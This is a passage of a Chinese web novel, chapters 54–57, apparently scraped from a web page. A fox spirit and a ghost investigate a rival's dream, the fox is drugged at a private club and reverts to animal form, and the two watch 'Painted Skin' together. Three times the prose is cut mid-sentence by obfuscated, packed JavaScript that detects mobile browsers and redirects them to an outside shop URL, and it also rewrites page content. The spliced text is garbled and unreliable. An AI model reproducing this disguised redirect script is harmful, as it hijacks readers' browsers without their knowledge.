他刚说了一半，就想起自己多此一举做人肉垫子的事来，顿时就说不下去了。 林疏倒是后知后觉地接上了：“带着凡人的时候很难用灵力做超出正常范围的行为，不然你以为孙悟空为什么不直接背着唐僧翻一个跟头去取经？那晚从绳子上掉下来的时候，我手里拎着你啊。” 说完，林疏自己也想起了那个晚上接下来发生的事，顿时就不出声了。 空气安静下来。 但越安静，就越暧昧。 54. 第 54 章 越安静，他们越能想起那天的点点滴滴。 初春的租界又冷又凉的空气。 姬悬月带着温度的怀抱。 林疏失衡的心跳。 越安静，林疏越被这种气氛弄得浑身不自在，他干咳了一声，故作轻松道：“……我本来打算到了地方召唤你的，没想到你能跟上，所以会飞的其实是你吧！” 姬悬月笑了笑：“我只是怕追丢了你，本能而已，再让我飘那么快，恐怕也不能了。” 两人之间又恢复了说说笑笑，朝着家的方向走去。 谁也没有再提那一闪而逝的、暖热的情愫。 谁都没能忘记那些暧昧不明的情愫。 回到家后，林疏洗澡上床，趴着把一张联动识海的符纸压在了枕头底下。 然后想了想，抬头对沙发那边的姬悬月喊了一声：“要不今晚你过来这边吧。” 姬悬月刚换上了才收到的背心短裤，闻言不由得一顿，道：“怎么了？” 林疏道：“如果今晚要入别人的梦的话，我好带上你啊。” 姬悬月于是哦了一声，慢慢走过来，跨过了林疏，躺在了床的里侧。 他很小心地将双手交叠在腹部，拘谨得像一尊木乃伊。 林疏看着姬悬月轻薄的着装也有点儿脸红，但公事就是公事，他心一横，将姬悬月的手拽过来一只，握住了。 “这样等会儿我入梦，你就可以跟我一起。”林疏小声道。 “嗯。”姬悬月应得云淡风轻，没有人知道他其实多么紧张。 林疏按下床头的开关，灯灭了。 对面大楼的光落在出租屋狭窄的窗户上。窗户底下的床上是阴影，但林疏一睁开眼，能看见眼前有一束光斜着落在右边的地板上。 有种不算太唯美的丁达尔效应的感觉，林疏本来还挺清醒的，一看到这个，反而困了。 姬悬月很快听到小狐狸呼吸均匀地睡着了。 他冰凉的手就在林疏滚烫的手掌心。 姬悬月突然什么都不愿意想了。 一个没有睡眠的厉鬼，头一次在夜里闭上了眼睛。 因为只有闭上眼睛，才能在脑海里勾画林疏的模样。 …… 林疏被蹭醒了，他身上好像趴着个什么玩意，由热转凉。 抬手揉了揉眼睛，林疏慢慢睁开了视野还有些模糊的眼睛……然后震惊地发现！他面前有一张放大的俊美面孔，那纤长浓密的睫毛就在离他很近很近的地方！ 微凉的吐息，就落在自己唇边……太近了！ 这双眼，这是姬悬月！他偷袭自己吗？不，不对，这房间太亮了，床也太软，这是陌生的地方！ 这是什么鬼情况！ 林疏本能去推姬悬月，却发现姬悬月也呆住了，不敢置信地看着他，随后脸红了。 不，不，不对。 这不是我家，姬悬月却是姬悬月。 林疏这样想着，马上明白过来，自己入梦了！入的也不知是谁的梦……大概是穆迎秋，因为他还没来得及召唤姬悬月，姬悬月就出现了，穆迎松可没有见过“穆羽”啊！ 此刻两人的动作分外激|情，林疏衣衫半解躺在床上，只着浴袍的姬悬月覆在他身上，手掌撑着林疏耳畔的床垫。 两人做交颈鸳鸯状，但彼此之间隔着大约一寸的距离，没有真的触碰到。 林疏手忙脚乱，正打算起身观察一下周围，突然难耐地轻轻缩了一下，脸红了。 他和姬悬月距离太近，一不小心就互相蹭到了，姬悬月的浴袍刮到了他胸前一个非常敏感的地方。 但姬悬月不是故意的，他只是要爬起来。 林疏只得偏过头，努力忍耐着不露出异样的表情，等姬悬月坐起来后，他才红着脸起身，捋了捋凌乱的头发，跟姬悬月一起打量房间里的布置。 这里大概是一个酒店的普通大床房，床单已经被滚得乱七八糟，旁边的浴室里还传出哗哗的水声。 林疏对姬悬月打了个手势，姬悬月马上凑过来，林疏在他耳边道：“穆迎秋的梦。” 姬悬月点点头，正要说什么，浴室里的水声停了。 林疏马上躺下，并拉着姬悬月跟自己并肩躺在了一处。 男上加男是不行了，林疏不好意思，姬悬月也做不出来。 很快，穆迎秋腰上围着浴巾出来了，他一边擦头发一边走出来，赤着上半身，有些纤瘦，肋骨分明。 看到林疏和姬悬月纯洁地躺在一块儿，他倒是愣了一下，然后笑道：“你果然不会，林疏没有教你吗？” 林疏：“……” 姬悬月：“……” 穆迎秋已经放下毛巾慢慢走过来，就要朝着林疏和姬悬月中间压下来。 林疏马上伸手掀起一个枕头，抵住他的上半身：“你礼貌点，别动手动脚的，大被同眠，你想得倒美。” 穆迎秋并没察觉自己的梦有什么异样，也没有对林疏的推拒产生怀疑——毕竟现实中林疏也一直都在拒绝他。 而梦中的穆迎秋有些狂妄，邪魅地笑出了声：“别跟我装纯了林疏，都跟我开房了，你装给谁看？” 林疏心想，真烦，谁能想到穆迎秋这厮做的居然是个春梦？倒霉事都被他碰上了。 于是小狐狸用上自己的忽悠大法：“我是跟你来看烛台的，谁知道你进了门就洗澡？烛台呢？看不到烛台，别想让我听你的。” 穆迎秋也不疑有他，转身就去拿书桌底下一个黑色的皮箱：“在这儿呢，我怎么会骗你？不过穆羽啊，你不能说话不算话……这样，我一边找烛台，你把他弄舒服了。” 一旁当背景板的姬悬月：“……” 林疏才不管这么多，他已经从床上跳起来，赤着脚踩上地毯，蹑手蹑脚去观察房中的布置。 穆迎秋没听见声音，头也不抬道：“不会摸，亲总会吧？把他亲舒服了，等会儿弄起来软。” 姬悬月：“……” 他急中生智，一边亲自己的手背，一边摆弄床上的被褥和枕头，弄出布料摩挲的声音。 穆迎秋仍没抬头，但听见了声音，就非常满意，埋头开始解密码。 那边林疏听着姬悬月弄出的声音，又想笑又脸红，他努力把注意力集中在这间房间里——四面墙上挂着一些颜色非常鲜艳漂亮的油画，墙纸还算齐整，从布置上看，这酒店还挺高档的。 意识入梦是闻不到气味的，林疏轻轻走到玄关，拿起衣柜处的熏香匆匆扫了一眼牌子，又伸长脖子去看浴室里的毛巾，毛巾上果然有绣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883403|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这家酒店的名字！ 却并不是那家私人会所！ 难道昨晚他的狐火追踪术失败了？为什么会失败？为什么最后会指向那家会所？那个会所里有什么？ 林疏准备回去继续套话，转身间，他的目光扫过玄关墙上挂着的油画，是一幅…… 躺在鸢尾花丛中的……裸|女。 林疏怔住了。 那是温丽雅哥哥的画。 这到底……是谁的梦？ 难道是他自己的？ 不……这当然只会是穆迎秋的梦，因为这个房间的布置，和这家酒店的名字，林疏都从来没见过没听过。 这时候，那边的姬悬月咳嗽了两声。 林疏迅速爬回床上，掀开棉被和枕头，钻进姬悬月怀里。 姬悬月脸一红，正要起来，穆迎秋已经发出声音：“找到了，这两个玩意儿可死沉死沉的……”然后他拎着烛台走过来，一把掀开了被子。 “啧，”他看着衣装完好的两个人，不满道，“你这不还是不会吗？” ……其实姬悬月已经尽力了，他在林疏扑过来的瞬间，就将人按在了怀里，而林疏装作害羞……也可能不是装的，总之把脸窝在了姬悬月胸口，脖子到耳根都红透了，一副没脸见人的样子。 姬悬月反唇相讥：“我会不会是我的事，林疏不愿意，难道我要强迫他吗？我做不出这么下三滥的事。” 穆迎秋嘶了一声：“刚才答应我3人pl-ay的不是你？真搞笑，一个两个都装纯。” 林疏道：“我还想问你呢，把我们骗到这里来，不只是为了play吧？怎么不见你哥？” 穆迎秋这下是着实愣住了，他掀起眼皮一笑：“4人？不行，这不是我能不能接受得了，穆迎松会玩死你。” 林疏道：“他回国来干嘛的啊？” 穆迎秋漫不经心开始解身上的浴巾：“他是为了搞老子，不然还能是为什么，睡你吗？” “……”林疏心想，这人此刻精虫上脑，恐怕问不出什么了。 他遂转头对姬悬月道：“我们走吧。” 姬悬月马上听话地起身，两人默契地将被子往穆迎秋身上一蒙，林疏给了他后颈一手刀，然后丢下他跑了。 迅速打开了酒店房门，林疏拉着姬悬月开始在走廊上大步朝安全出口的方向跑。 如果能在甩开穆迎秋的情况下尽可能多地观察到这个酒店的布置，说不定能看到外头的景色，来判断它的位置。 酒店的走廊上，也挂着许多油画。林疏没有细看，但也瞧见了不少眼熟的风景画。尤其是拐角那幅缩小版的《玛丽亚王后》。 甚至，在楼梯的尽头，两层楼的交汇处，林疏看见了一副熟悉的……照片。 不，或许不是照片，而是油画。 林疏见过这幅画的其中一半——盖着盖头的、凤冠霞帔的姬悬月。 嫁衣上只有金龙祥云、没有龙凤呈祥的，姬悬月。 而这张画里，姬悬月身边是一名戴着顶戴，面带微笑的男子，与穆迎秋有七八分相似。 大概就是穆绍棠。 林疏完全傻掉了，他不敢停下，拉着姬悬月继续朝前跑，一边跑，他一边思绪混乱，这些画为什么会出现在穆迎秋梦里？ 55. 第 55 章 嫁衣姬悬月究竟是照片还是油画？是谁画的？ 作者和《玛丽亚王后》又是什么关系？ 穆迎秋住的酒店是谁开的？ 为什么会有这些画？ 这真的是穆迎秋的梦吗？ 如果不是穆迎秋的梦，而是自己的梦……林疏突然意识到，如果这是自己的梦，那姬悬月是真是假？ 在短短时间里，林疏的大脑飞速运转，突然回头问姬悬月道：“你为什么剪掉你的头发？” 姬悬月：“……” 他被这个问题吓了一跳，他本能地摇头道：“我不能告诉你。” 林疏却骤然停住了脚步。 他松开手，非常认真地看着姬悬月的眼睛：“你真的是姬悬月吗？如果你是，就回答我。” 姬悬月的嘴唇动了动，他明白林疏的意思，这一路上，他也看到了那些眼熟的油画。 如果是在梦里验证对方的身份，林疏就不能问姬悬月他知道答案的问题。 可是为什么剪掉头发……这个答案太难以启齿了，姬悬月觉得自己如果是个活人，此刻恐怕脸都要烧着了。 而林疏还在等这个答案，他的耐心马上就要耗尽了，如果眼前的姬悬月给不出合理的答案……或者给不出答案，那么林疏真的会怀疑这是自己的梦。 那么他就必须要重新审视自己的精神状态了。 “我剪掉长头发，是因为有一件藏在心里的事，不能告诉你。”姬悬月道。 林疏蹙眉，他没听懂这个答案。 姬悬月认真地看着林疏的眼睛：“我以为那件事被你发现了，我留长发就没有任何意义。所以剪掉了。我不知道怎么才能说清这混乱的因果关系……但这的确是真实的答案。” 林疏：“……” 他的确被这因果关系搞混乱了，但他同时也知道，这个答案应该是真实的…… 因为，以林疏的脑回路，他是想不到这样的答案的。 因为……这个答案里，藏着一句话。 林疏知道这句话是什么。 于是，他的脸瞬间变得通红，并马上伸手去捂姬悬月的眼睛，这个梦该醒了，再不醒就出事了！ 姬悬月还沉浸在说出秘密的愧悔中，眼前突然一黑。 再睁开眼，姬悬月发现自己已经回到了出租屋的小床上，林疏正侧躺着窝在他怀里，像一直贪凉的小狐狸。 很快，林疏也醒了，他本能地绷直了，然后躺回自己的位置。 “云途酒店……”他喃喃念着这个名字，摸起枕头边的手机，打开手机地图导航开始搜索这个名字。 他快速筛选了地图，发现这个酒店在鹤城并没有连锁。 ……也就是说，穆迎秋梦里下榻的酒店不一定是他当前的住处。 林疏叹了口气，将手机放下了。 姬悬月一直没出声，他一直闭着眼睛在装死。 林疏把入梦的符纸掏出来揉成一团丢掉了，进别人的梦这种事……还是不要有下一回了吧！ 他侧过身，背对着姬悬月，假装睡着了。 装着装着，他就悲催地真睡着了。 逃避虽然可耻，但有用。 …… 第二天，果然谁都没有提起昨晚的梦，也没有提起那个答案。 等到周六下午，穆迎松不出所料，给林疏发来了微信。 他做局，单独邀请林疏，一起去鹤城一家高级会所吃饭。 林疏看了一下那个地址——闻轩会所。 很好，是那天追踪过的高级会所。 看来他的狐火追踪术也没什么问题，那天包间里也的确不止穆迎秋，符纸吸到了穆迎松的气息和“痕迹”也很正常。 但这个会所……又是一个他消费不起的地方，这样的邀约林疏不可能轻易答应。 先不说体制内工作人员是不允许去私人会所消费的，如果穆迎松和穆迎秋这两个家伙真的跟“案件”无关，日后林疏还得还人情。 但在林疏拒绝后，穆迎松发来了一张自拍。 他，拿着那对烛台，对着摄像头微笑。 林疏咬着牙，直截了当问道：“你明知道我想看这对烛台，也只是想看看而已，为何如此为难？” 穆迎松道：“没别的意思，想约你出来，当然要拿你想要的东西来讨好你。” 林疏愤怒地打字：“明天几点！” 穆迎松：“中午吧，中午12点，我在闻轩会所等你。” 第二天中午，林疏按照约定，跟姬悬月一前一后来到闻轩会所门口。 姬悬月没有用实体符，便没有人能看见他。而林疏穿着便装，和方便跑路的运动鞋。 两人在会所门口短暂对视，林疏转身进了大门。 姬悬月倚在门口，掏出手机，屏幕上的画面停在拨号盘。 上面已经提前按好了林聆的号码。 他们约定，一小时后如果林疏没出来，没召唤，没消息，姬悬月便直接拨号通知林聆，然后进去找人。 …… 闻轩会所二楼，林疏被侍者领着进了一个会议室。 穆迎松正戴着蓝牙耳机，对着笔记本电脑在开一个会，他不时点头，并给出两句建议，见林疏进来，他点头示意，然后朝侍者挥手，侍者便关门出去了。 林疏随手拉开一个椅子坐下了，等了大约两分钟，穆迎松摘了耳机，松了口气道：“会议延时了，不好意思。” “没关系。”林疏耸耸肩，皮笑肉不笑道，“你一分钟几百万上下，比起来，我的时间就不值钱了。” 穆迎松笑道：“别这样。” 林疏就打量西装革履的穆迎松，道：“我瞧你的样子，不像带了烛台。” 穆迎松已经拿起旁边的西装外套，搭在臂弯：“别急，先陪我去一个地方。” 林疏耐着性子跟他一起离开了会议室，顺着楼梯上了三楼。 “我猜你不想直接吃饭，”穆迎松道。 林疏笑了一声，他的确是吃过饭才来的，灵调局规律的生活让他养成了十一点半吃饭的好习惯。 最主要的——他不想入口穆迎松这里的食物。 穆迎松带着林疏从三楼大厅绕到后门，然后推开门——林疏怔住，外面居然是一大片铺着碧绿草皮的高尔夫球场。 在这样寸土寸金的城市里，圈起这么大的地方作为高尔夫球场……或许这就是真富豪们追求的贵族生活？林疏不敢苟同。 穆迎松朝场地走去。 林疏却顿住脚步。 穆迎松听见他脚步声停，便回头看他：“怎么不过来？” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883404|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >林疏微微一笑：“我不会打高尔夫球，也不想学。” 穆迎松露出个非常狡黠的笑容，道：“你不喜欢吗？我觉得这项活动还是很有魅力的，它被称为“时尚而优雅”的运动，主要体现在——阶层的跨越。” 林疏道：“我不需要这样的阶层跨越，我的阶层也不需要学这个。” 穆迎松有些无奈了：“那我打一会儿，你看，可以吗？看台那边有小吃，你想吃什么喝什么直接吩咐就可以。” 林疏道：“我收回我之前的话，穆先生，你的时间珍贵，我的也一样。” 说完，他转身要走。 穆迎松叹了口气，他妥协道：“好，那你等我，我取消一下预订的球场，然后带你去看你想要的东西。” 林疏用最后的耐心站在门口等了两分钟，穆迎松过来了。 林疏道：“烛台在哪里？” 穆迎松道：“这边。” 他带着林疏，又上了五楼，这次没有走楼梯，而是坐了电梯。 会所的电梯不算狭小，但穆迎松作为一个双开门猛男，在这样密闭的空间里就形成了非常大的压迫感。 林疏抱着手臂与他保持着超过一米的距离，但周围已经充斥了穆迎松身上雪松和烟草的尾调。 “叮”一声响，五楼到了，穆迎松率先走了出去，三步后，回头等林疏。 林疏始终淡漠疏离，但穆迎松浑不在意。他带林疏一直往前走，最后，走到了一间套房门口。 林疏啧了一声，道：“我选择在门口看。” 穆迎松无奈道：“你怕我吃了你吗？” 林疏道：“我听你弟弟说过，你也是gay，我们不应该遵守一下男男大防吗？” 这下穆迎松露出了意外的表情：“你也是？” 林疏道：“别装，我是不是和你有关系吗？” 穆迎松笑了，道：“我还以为你会看不出我在追求你。” 林疏淡淡道：“追求没看出来，只看到一个花孔雀在一路开屏。” 穆迎松脸色有些挂不住，面上不由带上了一些不悦，反唇相讥道：“这太遗憾了，我其实只是非常喜欢你的外形。” 林疏懒得跟他打嘴仗，油盐不进道：“烛台呢？我只看一看，看完就走。” 穆迎松又狡猾地笑了：“在我的皮箱里，我需要找一下。不如你进去等，我有一支年份不错的慕西尼红酒。” 林疏抬头看了一眼手表，道：“我还剩最后五分钟时间。” 穆迎松脸上的表情变得耐人寻味，他推门进去了。 林疏站在门口等了四分钟，穆迎松出来了。 他手里没有烛台，只拿着那支红酒。 林疏于是明白，穆迎松根本不打算给他看，甚至——烛台可能根本不在这里。 叹了口气，林疏直接道：“既然如此，那我就失陪了。” “等一等，”穆迎松无奈道，“我这支酒，拍下来花了近五十万欧元，我是诚心诚意想约你，才拿出来的。” 林疏客客气气道：“我是公务员，喝这么贵的酒是要被打成腐败的，酒再好也要有命喝。” 在他转身后穆迎松无奈道：“我就直说了，只要你跟我，我可以给你一张黑卡。” 林疏已经直接绕过走廊，去乘电梯下楼。 56. 第 56 章 万幸，穆迎松没有跟过来。 林疏在电梯里舒了口气，心想这两兄弟真是个顶个的烦人，有这个时间他都不如直接回穆家老宅去溯灵。 之所以没去，是因为“溯灵”所追缉的，是一切灵异和术法行为的痕迹，他要是去穆宅点溯灵符，恐怕要连续看姬悬月半夜出嫁看几百年——姬悬月在那宅子里可没少作祟。 一边想着下一步该如何做，林疏一边从电梯里出来——这里是二楼，贵宾电梯到不了一楼。 但随着前脚跨出电梯，林疏突然觉得不对。 眼前的一切开始变形、扭曲，身上开始发热！ 可他在这会所中未进水米，为何……有种中了什么药的感觉！ 林疏大骇，马上顺着楼梯往下跑，可是脚底越来越软，身上也越来越热……林疏赶紧默念清心诀，这法决清心凝神，能抵抗大部分的迷幻类法术。 但……并不能完全屏蔽药物的作用，林疏坚持到一楼，终于觉得自己要失控了，他赶紧转身钻进手边的一个空房间里，然后发动了召唤！ 门外的姬悬月瞬间出现在房间里，林疏伸手握住姬悬月的手腕，灵力交缠，姬悬月获得实体，而林疏来不及交代几句，眼前的一切就已经彻底失去了真实！ 姬悬月早在门外等得焦灼，乍一被召唤，他还是喜悦大于其他，但看见林疏的模样后，他就慌了。 林疏浑身发烫，手脚无力，眼睛失神，双眸含着春水一般的情态。姬悬月赶紧偏过头不敢去看，想扶住他站起来，但林疏已经不能支撑自己了。 “你这是怎么了？”姬悬月喃喃问道，但没有得到答案。他马上将林疏横抱起来，放在房间的床上。 林疏张张口，却发不出声音。他感觉眼前的一切都在旋转、拉长，最后变得忽大忽小。 而身上体温也是忽冷忽热……林疏心惊胆战，只怕自己中的是什么不能过审的药，但贴在姬悬月身上片刻，他发现自己好像没有什么异常的反应。 姬悬月见林疏说不出话，便起身四处查看这个房间。 这是一楼一间员工休息室，万幸内室有一道窗户通向室外，只是窗户上有防盗网。 姬悬月回去查看林疏的情况，顺便思索如何才能通过那防盗网。但回到林疏躺着的地方时，他愣住了。 林疏不见了！ 姬悬月赶紧四处翻找，最后在床与墙的空隙里找到了林疏，他紧紧扒着冰冷的白墙，死死咬着嘴唇。 “林疏！”姬悬月急切地将他抱起来。 感觉到姬悬月身上的清凉，林疏一下子放弃了墙，扒在了姬悬月身上。 骤然被小狐狸紧紧贴着，姬悬月有一瞬间的不自然，但很快他就发现林疏身上热得不正常！ 又不像发烧，反而脸颊潮红，双眸含情如带春水，怎么会这样？姬悬月心中没底，他直觉林疏现在的状态不太对。 但他也没什么别的办法，而且他们不能再在这里耽搁时间了。 就在姬悬月想要再次放下林疏去破窗的时候，瘫软在他怀中的小狐狸，却不知怎么有了力气，噌一下起身，搂着他的脖子，柔软滚烫的嘴唇贴在了他的下巴上。 好凉……好舒服。林疏满心只剩这一个想法。 完全没注意到，姬悬月已经僵立在原地。 而林疏体力不支，向下滑了一点，他浅浅的啄吻就落在了姬悬月脖子上，落在凸起的喉结，落在蜿蜒的锁骨，落在那条黑色项圈上。 但在嘴唇贴上那条黑色丝带上时，缚灵索上绘制的清心阵法突然生效，林疏骤然获得一瞬的清明，他瞳孔微缩，瞪大了眼睛，他在干什么！ 这是谁的脖子！这是姬悬月的脖子！他亲了姬悬月！ 林疏不敢相信，他居然亲了姬悬月！！！ 林疏顿时痛苦地嘤了一声，不知道要怎么面对姬悬月……但他很快就感觉到了身体更深层次的变化——他不用面对姬悬月了。 支撑他化形成人的灵力骤然衰退，不知道是受了什么影响……总之林疏很快在姬悬月怀中消失了，只剩下一身衣服。 姬悬月还没从被亲得飘飘忽忽的状态里清醒过来，臂弯中的人就不见了。 他脑子里嗡的一声，手指下意识收紧，怀中却没有了那作恶的小人。林疏去哪儿了！ 就在姬悬月即将暴走，要破门出去找茬的时候，他怀中那堆衣服里，有什么东西一拱一拱地钻了出来。 姬悬月：“……？” 他目瞪口呆地看着……一只雪白毛球从衣服底下探了个头出来，尖尖的耳朵，尖尖的嘴，竟是一只小狐狸！ 姬悬月瞬间感觉自己被击中了心脏。 好……好可爱…… 他一眼就认出，那是虚弱的林疏。小狐狸狭长双眼中，是他熟悉的眸光。 但当务之急是离开……姬悬月如梦初醒，马上抱紧了小狐狸，顺手揉了揉他蓬松尾巴上的毛，然后用那堆衣服裹住林疏，朝内室走去。 林疏变成狐狸后，防盗窗就好办了。姬悬月将小狐狸放在防盗窗的垫网上，自己则努力散掉了林疏传递过来的灵力，慢慢从实体变回了虚无。 他果然顺利穿过了防盗网。 然后再取出口袋里的实体符咒贴上，从缝隙里把娇小的狐狸抱出来，计划通！ 姬悬月怕会所的人追出来，接出林疏后就抱着他跑了。 一路狂奔，姬悬月马不停蹄回到了家中。但一路上，林疏都在他怀里一动不动，像昏过去了一般。 他不得不拨开衣服，忐忑地查看小狐狸身上有没有什么伤口。 ……然后就发现，这娇小可爱的天狐身上，有一种奇怪的违和感。 本应雪白柔软、浑然一体的皮毛，却不知为何有着不太明显的分界。 那好像是……一块一块拼接的痕迹。 就仿佛，这只狐狸的皮曾经被一块块剥下来，又被重新缝上去一般。 姬悬月大惊，难道林疏在会所里经历了剥皮？他想也不想，掏出手机就要拨了号，林聆的名字闪烁着，却过了许久都没接。 姬悬月耐心耗尽，他把小狐狸塞进怀里，就冲出了家门。 电梯疾行到他们的楼层，姬悬月拔足狂奔，然后疯狂去按1楼的按键，他要去灵调局找林聆！ 而窝在姬悬月衣服里装死的林疏……终于不得不结结巴巴地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883405|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开口：“你……你带我去哪儿？我没事……” 姬悬月一顿，从怀中抱出林疏，惊讶道：“你醒了？” 林疏的头都要埋进脚底下了，瓮声瓮气道：“你是要带我去什么地方？宠物医院可治不了我……” 姬悬月着急又不安：“我想去找你师娘，我以为你出了什么意外……” “……”林疏简直要被气死，大声道，“我醒着，醒着呢！你还敢去找我师娘！你就不怕他一道雷把你劈死……” 姬悬月的火也上来了，怒道：“谁让你好好的不说话！” 林疏一下子就没声了。 姬悬月马上后悔起来，自己不该大声说话的，他刚想道歉，就听见林疏非常小声地道：“你不觉得我很丑吗？” 姬悬月一愣。 林疏的本体本来就只有巴掌大，此刻在姬悬月怀里，他简直要把自己缩成一个球了，并用蓬松的尾巴紧紧围着自己。 姬悬月慢慢反应过来，林疏不想让他看见身上……皮毛不平整的地方。 他的心头顿时酸胀无比，轻声道：“怎么会呢？我不觉得。你是我见过的最美丽、最可爱的小狐狸。” 他抱紧了林疏，转身离开电梯，回到了家里。 林疏在家里总算有了点安全感。他兜头钻进被子里，只露出两只尖尖的小耳朵，闷闷道：“我也不知道我为什么会这样。听说，唐疏捡到我的时候，我的皮就不知道被谁剥掉了，我师娘想了好多种办法，才把皮一块一块缝回我身上，但是缝合的痕迹永远留在我的身上，东一块西一块的……像补丁一样丑。” 姬悬月隔着被子将小狐狸搂在怀里，闻言，忍不住轻轻去贴了贴林疏的耳尖，温声道：“我不觉得丑，我很喜欢。” 林疏的脸有些红，但他知道，姬悬月这是在安慰他。 他吸吸鼻子道：“我以前应该是很好看的……只可惜缝合的痕迹永远不会消失，我再也不是当年的样子。平时你看到的我，身上全是画皮。你知道画皮吗？” 姬悬月点点头：“蒲松龄先生的《画皮》，我读过，但画皮说的是鬼，你又不是鬼，你是小狐狸。” 林疏笑了：“我说的是一部改编自《画皮》的电影，主角也是一只小狐狸，你没看过的话我们可以看一看。” 姬悬月温柔道：“去电影院吗？那我们现在就去。” 林疏轻松从姬悬月怀里挣脱出来，他是一只敏捷的小狐狸：“电影院早就没有排片啦，不过我们可以在家里看。” 姬悬月问道：“那你变身成狐狸的事不用管吗？你什么时候可以变回人形？” 林疏闭上眼感受了一会儿，道：“只是在会所里灵力运转不畅，现在已经好了。具体原因明天上班后我会想办法查，今天先不用急。” 姬悬月便根据他的指点，去打开了笔记本电脑，调出了藏在网盘里的《画皮》（注：此处引用2008年陈嘉上执导电影《画皮》的部分剧情设定，以推进情节）。 一狐一鬼，在床上缩成一团，姬悬月搂着林疏，两双眼睛盯着同一个屏幕。 林疏不时给姬悬月讲解：“这个美女是周公子演的，她演一只狐狸。” 57. 第 57 章 姬悬月盯着屏幕里的美女看了一会儿，道：“确实很漂亮。” 林疏道：“这个抠喽眼的男人是陈美人，他演一个渣男。” 姬悬月摸摸怀里全神贯注的小毛球：“他哪里渣？” 林疏道：“他同时喜欢两个人。” 姬悬月：“哇……那是有点渣。他喜欢哪两个人？” 林疏啧了一声：“他有老婆，又喜欢上这个小狐狸。” 姬悬月恍然大悟：“这叫脚踩两条船，你上次说过。” 林疏：“……” 电影的剧情随着画面变幻逐渐展开，林疏看着片中茶味满满的小唯，啧了一声又一声。 “你啧什么？”姬悬月笑道。 林疏不说话，所有不会鉴茶的男人都是废柴！ 剧情很快来到精彩处，片中的小狐狸成功在将军府上满了一圈眼药，还用妖术魅惑了男主角。 林疏就忍不住问姬悬月道：“你觉得，王生喜欢小唯吗？” 姬悬月模棱两可道：“喜欢吧。” 林疏愤愤道：“可是他有老婆啊。” 姬悬月想了一会儿，道：“他爱他老婆，他对小唯不是那种喜欢，就是觉得小唯可怜又可爱，但他最后一定会选择他老婆。” 林疏便斜眼看他：“你又知道？” 姬悬月笑笑，没有说话，全神贯注沉入了故事里。 剧情逐渐变得更加精彩，而片中几个主角之间纠缠的感情更是愈加复杂。 片中充斥着很多亲热戏，虽然林疏和姬悬月取向有异，但电影艺术的魅力就在于留白。导演并没有把主角之间的爱-欲-缠-绵拍得一清二楚，而是用唯美的手法，将性张力拉伸到极致。 到这时候，林疏反而庆幸自己是个狐狸，至少看不出脸红。为了缓解共同观影的尴尬，林疏开始拉着姬悬月头脑风暴，讨论剧情。 “如果你是王生，你会选择你老婆，还是小狐狸啊？” 姬悬月：“……” 这是什么死亡问题。 姬悬月做认真思考状，道：“如果我有老婆，当然选老婆。” 林疏笑嘻嘻：“那你确实是有老婆的啦~” 姬悬月：“……” 完全忘记这回事了。 林疏在姬悬月怀里钻来钻去，用尾巴抽他的胳膊：“你也是渣男，你有老婆，还喜欢小狐狸。” 听了这话，姬悬月顿时觉得自己好像灌了一瓶酒一样，整个人都开始晕乎乎。 林疏这是在……在试探他吗？ 但此时此刻，他却没有任何办法可以辩驳，只好本能地道：“对不起，我不应该喜欢小狐狸。” 林疏：“……” 林疏无话可说，藏在绒毛底下的狐狸脸也红了。 可恶啊，明明姬悬月只是普普通通说了一句话，他为什么会觉得被撩到了！ 但很快，他们看到了小唯画皮的那一段。 林疏用尾巴捂住了脸，只露出一对黑亮的眼珠：“你看，这就是画皮。皮底下是什么样，你想象不到的。” 姬悬月却只是揉揉小狐狸的脊骨，捋得林疏舒服地抖耳朵。 姬悬月低声道：“可你在我眼里真的很好看，我……很喜欢。” 林疏将鼻子埋在前爪里，整张脸都埋了下去。 电影全长接近两小时，剧情精彩无尿点。虽然有一些老电影都有的弊病，但至少完整清楚地讲好了一个故事。 到最后，片中的小狐狸散尽修为救活了所有的人，姬悬月看到此处，感慨道：“她终于学会了什么叫爱。” 林疏轻声道：“是的，爱一个人，并不一定非要得到他，而是宁可自己死了，也希望他能好好活着。” 姬悬月没有出声。 但在这一刻他们的心奇异地紧紧贴在了一处。 无论林疏还是姬悬月，都在一瞬间，就明白了自己在对方心里的位置。可他们也明白，有一种感情，不一定非要说出来、在一起、彼此拥有。 一旦真的戳破了这层窗纸，很多事他们无法面对。 稍不注意，就会走入万劫不复。 林疏故作轻松地咬着自己的尾巴，挣开了姬悬月的怀抱。 而姬悬月温柔地松了手。 只要林疏还在他怀里，他可以假装。 在影片结束后的片尾曲中，林疏伸出小爪，指着石洞里的小狐狸道：“你看，狐狸修为散尽就是这样，会变回没有灵智的本体。” 姬悬月似懂非懂，便问道：“所以你之前，也经历过这样的事吗？” 林疏笑道：“我不记得了。” 